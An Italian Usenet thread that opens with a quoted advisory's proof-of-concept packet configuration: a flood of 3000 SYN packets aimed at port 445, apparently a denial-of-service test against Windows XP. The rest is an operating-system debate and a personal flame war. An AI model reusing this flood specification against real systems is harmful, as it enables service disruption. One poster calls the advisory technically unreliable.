Newsgroup: it.comp.sicurezza.windows
Titolo: Altro girone, altro regalo..

>> Proof-Of-Concept-Packet-Information <<<                             :
+-----------------------------------------+                             :
[IP]                                                                    :
SourceAddress=                                                          :
SourcePort=1                                                            :
DestinationAddress=                                                     :
DestinationPort=445                                                     :
HeaderSize=20                                                           :
SpecifyHeaderSize=0                                                     :
Identification=0                                                        :
SpecifyIdentification=0                                                 :
Checksum=0                                                              :
SpecifyChecksum=0                                                       :
TypeService=4                                                           :
FragmentationType=2                                                     :
DataSize=32                                                             :
Offset=0                                                                :
TTL=1                                                                   :
                                                                        :
[Commands]                                                              :
NbPackets=3000                                                          :
PacketType=0                                                            :
                                                                        :
[TCP]                                                                   :
fURG=0                                                                  :
fACK=0                                                                  :
fPUSH=0                                                                 :
fRESET=0                                                                :
fSYN=1                                                                  :
fFIN=0                                                                  :
Acknowledge=0                                                           :
Sequence=0                                                              :
Window=0                                                                :
Offset=0                                                                :
Urgent=0                                                                :
Checksum=0                                                              :
SpecifyTCPChecksum=0                                                    :
Data=xffxffxffxffxffxffxffxffxffffx00                                   :
                                                                        :
........................................................................:
........................................................................:
                                                                        :
+------------.                                                          :
 The Solution \                                                         :
+--------------`--------------------------------------------------------.
Vendor should be informed...I guess Microsoft read Securityfocus too    :
Filter 445 and other UNUSED ports. Stop Unused Services                 :
+-----------------------------------------------------------------------.
-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1
iQA/AwUBPG00kPPoW9fFNsN8EQIMcwCg4aNhkGYMIEDs4u+l3MCo5BMZKrcAn17B
fd1j/WRgYSqj/B4AkiohkXNz
=jwkR
-----END PGP SIGNATURE-----
________________________________________________________________________
The only secure computer is one that's unplugged, locked in a safe,
and buried 20 feet under the ground in a secret location... and i'm
not even too sure about that one"--Dennis Huges, FBI.
____________________________________________________________.___________
Live Well Do Good  
www.SafeHack.com
                         |
Je Pense, Donc Je Suis                                    \(|)/
I know I ain't perfect, but i'm 99 point 9 percent :)    --(")--
RFCs are meant to be read and followed…:)                  /`\  NtWaK0
________________________________________________________________________
Connect yourself to the main computer and let me take you to a
cybernetic ride. Are you connected to the right cybernet? If you are,
finally you are connected to my brain.
________________________________________________________________________
-=- Use a computer in a ways that ensure respect for your fellow     -=-
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *

 Unused Services     
Sai che novità :))
-- 
Caccia Carlo - webmaster of 
www.x-planet.org
 
PGP FP :  8363 0f97 ED73 F418 3859 94B9 94A6 FA47 899E 8D5D 
PGP Key:  
http://www.x-planet.org/pgpkey/WebMaster.asc

 Sai che novità :))
Gia', ma pensa che bello per tutti quelli che hanno acquistato il nuovo
meraviglioso OS della lungimirante casa che vuole bene a tutti e percio'
dona codeste perle di tecnologia :)


 Hash: SHA1
a parte l'enorme messaggio, nessuno è immune, neppure il tuo bel 
linux:
Mandrake Bind 9 Package Insecure File Permissions Vulnerability
http://www.securityfocus.com/bid/3848
Vulnerable: MandrakeSoft Linux Mandrake 8.0 ppc
|           MandrakeSoft Linux Mandrake 8.0
|           MandrakeSoft Linux Mandrake 8.1 ia64
|           MandrakeSoft Linux Mandrake 8.1
E questo è solo uno...
-- 
News2000 1.5ß Version 
http://socket2000.8m.com

 
http://www.securityfocus.com/bid/3848
Quote:
***********************************************************************
The implementation of BIND 9 included with Mandrake does not use secure 
permissions on files containing sensitive information. Under some 
circumstances, it may be possible for a local user to read the contents 
of the /etc/rndc.conf file, which contains sensitive information such 
as cryptographic passphrases and domain authority information. This 
permissions problem also applies to the /etc/rndc.key file. Additionally,
users may also execute the rndc-confgen and rndc programs, which could 
present potential security problems such as the generation of malicious 
DNS configuration files.
***********************************************************************
Allora...impariamo a leggere.
1- BIND e' un pacchetto (server DNS) e non e' Linux.
2- Il problema e' legato ad una distribuzione.
3- Il problema, a quanto mi pare di capire, e' solo di
permission sui file e puo' portare, in alcune circostanze,
a consentire ad un utente *LOCALE* di leggere un file e/o
di scrivere in un file.
Ora, visto che il problema e' solo di quella distribuzione
e vista la natura del problema, cio' che e' accaduto e' che,
all'atto del packaging, hanno sbagliato a settare i bit di
permission.
Non c'e' alcun bug di Linux e neanche di BIND.
-- 
Di risate alle mie spalle ne ho viste poche.
(Serg1)

 Non c'e' alcun bug di Linux e neanche di BIND.
Ovvio, qualunque persona dotata di intelligenza normale lo capirebbe ma
e' ovvio che questo non e' il caso di due di pacche la cui idiozia
rasenta quella di uno scarafaggio menomato e che pur di dire qualcosa
che mi smentisca sarebbe capace di dire che il cielo e' verde, il sole
e' viola e le mucche volano facendo al solito la figura del cretino.


 tutti e percio' dona codeste perle di tecnologia :)
In proposito sai già come la penso. win2miglia come client e linux
come server, sia lan che wan.....il resto non mi interessa ;)
Settimana prossima devo andare a vedere un mac......comincia a 
interessarmi anche questo, più che altro per il cad. ciao


 linux:
Mandrake č solo una distribuzione (secondo me neppure la migliore)
Linux č un os......non confondere l'armatore con il boia.....:)


 
E tu tra i "tanti"....hai preso proprio il bug sbagliato... :-PP
Primo perche', come ti hanno già detto molti altri sopra, Bind e' un
pacchetto non e' Linux...
Secondo perche' neanche Mandrake e' Linux nel senso stretto..e' una delle
tante distro di Linux..
Terzo perche' se andavi a vedere due linguette avanti trovavi che ci sono
gia' i patch, o meglio i files del pacchetto senza bug...
Quarto perche' mi e' sembrato si tratti di un problema di permessi in
locale e non di porte aperte che espongono la macchina a DoS...
Quinto perche' per avere il patch per XP devi aspettare che te lo
"conceda" MS...
Sesto perche' con Linux in caso di un pacchetto buggato in una distro
puoi sempre prendere il pacchetto di una distro diversa o scaricarlo o se
hai la capacita' "aggiustare" il sorgente da solo e ricompilare...
stinger

 "conceda" MS...
tralasciando il resto...
se si attiva il firewall le porte rimangono "vulnerabili" o i pacchetti vengono scartati ? Avete provato ?

Sai che novità :))
Bhe, considerando che la 445 e' la porta usata per i servizi di active
directory non direi che si tratta di UNUSED PORT.
Ciao
Francesco

 Linux č un os......non confondere l'armatore con il boia.....:)
Lui e' confuso gia' per i fatti propri, non vedi che str^Widiozie che
spara?


 spara?
Ma no dai, fate la pace :) non serve litigare....specialmente non serve
per controbattere a certe affermazioni ....:)))
Ue! il mio sito va avanti, mi serve di intavolare una bella discussione
su nmap che tu certamente conoscerai meglio di me...


 Linux è un os......non confondere l'armatore con il boia.....:)
E cosa cambia? Anzi, è pure peggio... Nella miriade di 
implementazioni Linux rende ancora più scoraggiante l'adottarlo. 
Questa era di Red Hat, credi che le altre siano immuni da altri 
bachi?


 hai la capacita' "aggiustare" il sorgente da solo e ricompilare...
Idem come sopra. Mi devo smazzare.


 su nmap che tu certamente conoscerai meglio di me...
Apri pure un thread, magari su .varie cosi' ne parliamo.


 Apri pure un thread, magari su .varie cosi' ne parliamo.
OK, ciao


 bachi?
Naa...dai siamo seri, nemmeno io sono uno che crede che Linux 
risolava tutti i problemi di sicurezza....ma dai...siamo seri
non farmi paragagoni con i prodotti M$...fatti un giro in una
web farm e vedrai che l'80 % delle macchine sono Linux....e 
non solo per questione di costi...fidati ;)
ciao


 credi che le altre siano immuni da altri bachi?
Era mandrake e si': ci sono distribuzioni che sono piu' affidabili, 
tipo debian (si decideranno mai a far uscire la woody stabile?)

 distribuzione preconfezionata?
Tu devi proprio provarlo, sientamme...

 Tu devi proprio provarlo, sientamme...
Non lo fara' mai, come potra' sparare cazzate altrimenti?


interessarmi anche questo, più che altro per il cad. ciao
Gli ultimi montano su OS X, che e' basato su linux. E a parte qualche
security advisory relativo ad esempio alle umask, non mi sembra mal
fatto, anche se non l'ho usato personalmente...
-- 
HappyCactus - Registered Linux User #209744
http://utenti.tripod.it/happycactus
Cannot delete files, disk full. Try to delete some file.

Idem come sopra. Mi devo smazzare.
Purtroppo Windows ci ha illusi che la professione del sysman sia
semplice e liscia come l'olio, ma io, personalmente, preferisco
aggiornare un linux piuttosto che un windows...


 fatto, anche se non l'ho usato personalmente...
proveremo..


 
No, perche' in questo caso, ma anche in molti altri simili, basta
prendere il pacchetto in oggetto da una distribuzione diversa (ad es.
RedHat o Suse...) dove non sia buggato....oppure scaricarne uno
direttamente dalla rete...
Non mi sembra che tali soluzioni siano praticabili nell'universo
Microsoft.....
Certo, Linux ha i suoi problemi, d'altronde il SO sicuro, esente da bug e
impenetrabile non esiste...e probabilmente non esistera' mai, solo che
con Linux i problemi puoi risolverli...con Win devi aspettare che qualcun
altro te li risolva...e sperare che lo abbia fatto bene..( vedi a
proposito la ciofeca che hanno fatto con XP, quando 2K cominciava a
funzionare abbastanza bene...)
stinger

 tipo debian (si decideranno mai a far uscire la woody stabile?)
E chi lo sa? Nel frattempo gli utonti useranno windows, con buona 
pace del thorinazzo. ;-D


 Tu devi proprio provarlo, sientamme...
Già fatto. Io non sto discutendo se windows è bello o lo è Linux. 
Dico che tanti GURU (o che si propinano come tali) farebbero meglio a
frequentare altri NG se winzozz gli fa così schifo, non trovi?


 e nelle GUI. 
Il problema è che le cose possono (e devono) essere semplificate, ma 
non oltre il limite.
Una buona interfaccia (non necessariamente una GUI e non 
necessariamente in campo informatico), deve permetterti di fare in modo 
semplice le operazioni semplici e consentirti di fare quelle complicate 
fornendo tutte le informazioni necessarie per completarle correttamente 
(e senza confonderti con informazioni inutili) e soprattutto quelle 
potenzialmente pericolose nel modo più sicuro possibile.
E, per tornare in-topic con il gruppo, molto spesso i problemi di 
sicurezza derivano da errori di configurazione o da un mancato 
controllo (che può essere dovuto a negligenze o alla mancata o distorta 
presentazione delle informazioni necessarie).
E anche nella vita quotidiana ci sono attività che vengono svolte solo 
da persone competenti (e che magari devono superare esami che 
certifichino la loro competenza, come nel caso della patente di guida).
Ti faresti operare da uno che si è fatto le ossa (in senso metaforico) 
con l'allegro chirurgo?
Se sviluppi qualcosa a prova di idiota, probabilmente ci saranno un 
sacco di idioti bravissimi ad utilizzarlo. Fortunatamente gli idioti 
sono molto ingegnosi e riescono a sbagliare in modi talmente diversi e 
fantasiosi che realizzare qualcosa davvero a prova di idiota è quasi 
impossibile...
-- 
Valter Minute
min...@inwind.it
 (the reply address of this message is invalid)

> Gli ultimi montano su OS X, che e' basato su linux. E a parte qualche
                        ^^^^
FreeBSD
Fabio
PS: fatto vacanzina ? :)

 +-----------------------------------------------------------------------.
Potrebbe anche essere vero. Purtroppo non ho un XP da testare. Ma anche se
l'avessi, mi chiedo come si potrebbero riprodurre i risultati del test con
i dati indicati da NtWaK0 nell'advisory. Tecnicamente fa acqua, come nella
tradizione di chi l'ha postata. Io, per quello che di suo ho letto fin ora
su bugtraq, non do' molto credito all'autore: leggete per credere.
Fabio

 Gli ultimi montano su OS X, che e' basato su linux.
BSD

 e impenetrabile non esiste...
Vero.
Ma se pensiamo, ad esempio, ad OpenBSD...:-)
-- 
Di risate alle mie spalle ne ho viste poche.
(Serg1)

 i dati indicati da NtWaK0 nell'advisory. Tecnicamente fa acqua, come nella
Sara' che l'autore non e' affidabile pero' eXplode promette bene per
tanti altri gustosi bug a venire.


 PS: fatto vacanzina ? :)
No, fatto influenzina... :( Una settimana a letto con 39...


 BSD
*Open*, non uno qualunque..


 *Open*, non uno qualunque..
A me sembrava fosse *free*, o no?
Fabio

 frequentare altri NG se winzozz gli fa così schifo, non trovi?
No, a me fa schifo ma devo lavorarci, e visto che una certa esperienza ce 
l'ho, mi sento di dire la mia; Per certe cose windows e' ok, purtroppo 
per altre bisogna dire le cose come stanno: win non va tanto bene, meglio 
usare un linux. Poi, sai, ho sempre la convinzione che uno si metta a 
fare il sysman solo se ha voglia di imparare, altrimenti.... meglio 
lasciarlo fare agli altri (ti rompi meno le palle, tra l'altro...)


 No, fatto influenzina... :( Una settimana a letto con 39...
Acc... ti vedevo gia' <cit> pigreggiare su una spiaggia assolata circondato
da 15 fantastiche ragazze e da un piccolo gruppo di esperti alla ricerca di
modi sempre nuovi di compiacerti </cit>
Fabio

 modi sempre nuovi di compiacerti </cit>
Sai che non scendo mai sotto le 20... ;)


 A me sembrava fosse *free*, o no?
Ehm forse ho letto male e pensavo si parlasse di *BSD in generale, sorry.


 l'ho, mi sento di dire la mia; Per certe cose windows e' ok, purtroppo 
Appunto, purtroppo ci si deve lavorare ma fatti spiegare dal suddetto
deficiente, visto che hai tempo da perdere e continui a rispondergli,
perche' gli piace tanto farsi insultare indirettamente continuando a
fare la figura del ritardato che scrive ad uno che non puo' leggerlo.



:-)  Ci stavo pensando mentre scrivevo quelle righe.., ma cio' nonostante
credo che una mano sul fuoco non la metterei neanche per OpenBSD....
Indubbiamente OpenBSD ha un record invidiabile..., ma ho imparato che ...mai
dire mai!!
stinger

 Ah, questa non la sapevo. Ma non di serie, vero?
Beh...e' il kernel...;)


 l'occhio...
eheheh...l'avete visto il nuovo imac?
Simply gorgeous.
(peccato per l'espandibilita' limitata)


 Beh...e' il kernel...;)
Ah, non e' un optional? ;)
Scherzi a parte, pensavo ti riferissi al OS X, non al linux... per quello 
ho chiesto se era di serie! :)


 clic li' e tutto e' sistemato.
Io quelli come te li obbligherei a viaggiare su automobili senza 
batteria (avviamento a manovella), senza freccie (usi le braccia), 
senza tergi (usi lo straccio), senza ammortizzatori e senza 
differenziale. Cosě almeno ti diverti un po'.


 Ma se pensiamo, ad esempio, ad OpenBSD...:-)
Scusate se mi intrometto ma OpenVMS o semplicemente VMS com'è messo a
livello di sicurezza e bug?

 lasciarlo fare agli altri (ti rompi meno le palle, tra l'altro...)
A volte si è COSTRETTI ad usare windows. Conosci un server che 
fornisca ASP sotto linux, per esempio?


 differenziale. Cosě almeno ti diverti un po'.
Senti....se ti sta antipatico hai due soluzioni:
1) lo ingnori
2) lo inviti su it.fun.culo :)
3) te lo fai amico.....
Quale scegli?


 fornisca ASP sotto linux, per esempio?
Apche con Chili!Soft ASP, per esempio? ;-)
Ciao.
--
Max - 
http://www.maxxsoft.info/

 Quale scegli?
Io secondo te cosa ho scelto?


 Io secondo te cosa ho scelto?
La scaibola rotenate ? :))


 Senti....se ti sta antipatico hai due soluzioni:
Dmitry, anche tu hai due soluzioni:
1) Farti i cazzi tuoi
2) Idem come sopra.
Quale scegli?


 Ed esistono anche le alternative ad ASP, volendo.
Oh certo, MySQL e C. per esempio. Ma vuoi mettere scrivere un intero 
sito in Visual Basic? :-D


 Quale scegli?
Il problema è appunto che mi sono rotto di sentire le Vs. liti


 Quale scegli?
Il problema è che appunto facendomi i ca**i miei che ci tengo che voi
due la finiste, con la differezna che almento lui ti ignora e tu no.
ciao


 due la finiste, con la differezna che almento lui ti ignora e tu no.
Eh si, mi ignora proprio... Uhauha.... Svegliati. Non vede l'ora di 
rispondere conto/terzi alle quotature altrui... Uhauha... Conosco il 
mio pollo. Ora probabilmente, se mi leggerà per interposta persona,  
si imporrà di non darmi più nemmeno questa 'soddisfazione', ma 
cederà, oooohhh se cederà... ;-DD


 rispondere conto/terzi alle quotature altrui..
Non credo proprio sai.....


 sito in Visual Basic? :-D
Prevertito!



http://online.securityfocus.com/advisories/3884
http://online.securityfocus.com/archive/1/255807
Comunque mi sembra poca roba e principalmente riconducibile a un problema di
SNMP.....
ciao
stinger

 fornisca ASP sotto linux, per esempio?
Beh, per esperienza ti dico che per ogni programma windows esiste 
l'equivalente linux, spesso (90%) opensource. Per ASP, ad esempio, mi 
pare ci sia un modulo apache fatto a posta.
Per alcuni casi, si, non hai alternative (a parte l'usare wine oppure 
vmware)


 Non credo proprio sai.....
Tu non fai testo, mi spiace... La realtà è davanti agli occhi di chi 
legge.


 legge.
Contento tu....perchè io non farei testo? sono curioso..


 No, esiste it.comp.os.linux.iniziare, che e' pure peggio! ;)
Beh, posso crederci, iniziare sotto Linux è forse meno immediato che 
con windows.


 Contento tu....perchè io non farei testo? sono curioso..
Perchè la tua mente è ottenebrata dallo pseudo charisma del mago 
Otelma, alias Thorinello...


 
http://www.chilisoft.com/
Carino. Ma che sono quei 495$ per la Verisone Linux?


 Otelma, alias Thorinello...
Mah.....di carisma credo di averne un pochino anche io sai :)


 sentire Thorinello parrebbe di si...
Eliminare un po di Utonti non farebbe male alla societa' informatica :-))

 Mah.....di carisma credo di averne un pochino anche io sai :)
Vabbe' Dmitry, visto che continui a rispondere alle farneticazioni che
questo cerebroleso scrive su di me ti fai una settimana di killfile, che
inizio ad averne piene le cosiddette.


 questo cerebroleso scrive su di me ti fai una settimana di killfile, che
Uhauha.. Ecco la logica militaresca del thorinello: STAI PUNITO.


 Uhauha.. Ecco la logica militaresca del thorinello: STAI PUNITO.
Si forse, ora per non sbagliare...killo tutti e due :) ah ah


 Si forse, ora per non sbagliare...killo tutti e due :) ah ah
Ecco, qui in ufficio ancora non ti avevo killato per cui dopo questa
frase te ne rimani per sempre nel killfile, fesso.


Oibo', deve essere un grande esperto..
No, adesso 
www.fufme.com
 ha i drivers USB che girano anche su Linux,
pero' devi avere un kernel abbastanza recente.
La segretaria del dipartimento l'ha provato con Linux su Duron, e mi
dissero che i tizi delle pompe funebri ci hanno messo tutta la notte
per farle sparire il sorriso dalla faccia.
Leonardo macabro

 pero' devi avere un kernel abbastanza recente.
LOL ! Ecco, fai un regalo a due di pacche: una macchina Linux con
l'HW adatto cosi' avra' un passatempo che gli evitera' di stare a
scrivere stronzate su Usenet e nel frattempo tiene occupato il suo unico
neurone ad imparare qualcosa di utile...


 frase te ne rimani per sempre nel killfile, fesso.
Non so se mi leggi ancora....ma sai una cosa? Ti manca il senso dello
Humor.....peccato...


 Humor.....peccato...
Vedo che stai cominciando a capire con chi hai a che fare...


 
Guarda che io lo conosco molto meglio di te....:) fidati ...diciamo
che cmq ho una, seppur modesta, schiera di appassionati in questo NG,
percui non mi preoccupano le esternazioni di nessuno...io cmq non lo
ho killato come non ho killato te.....poi fate voi...basta che non
continuate un flame qui..
ciao


 che cmq ho una, seppur modesta, schiera di appassionati in questo NG,
Oddio... un VIP? Ho questo onore?


 Oddio... un VIP? Ho questo onore?
Mai detto di essere un VIP, se non altro non mi nascondo e la mia 
politica di chiarezza dovrebbe essere lampante ormai...


 politica di chiarezza dovrebbe essere lampante ormai...
Se debbo essere sincero è parecchio che lurko e meno che posto ma non
ti avevo mai notato...


 ti avevo mai notato...
Vabe...fossi una donna mi preoccuperei....ma non è il caso :)


 anche la mano di chi programma spesso e non solo il SO.
Questo sopra tutto. Sono il primo a dire che un programma scritto male 
gira male sotto windows come sotto linux o SG...
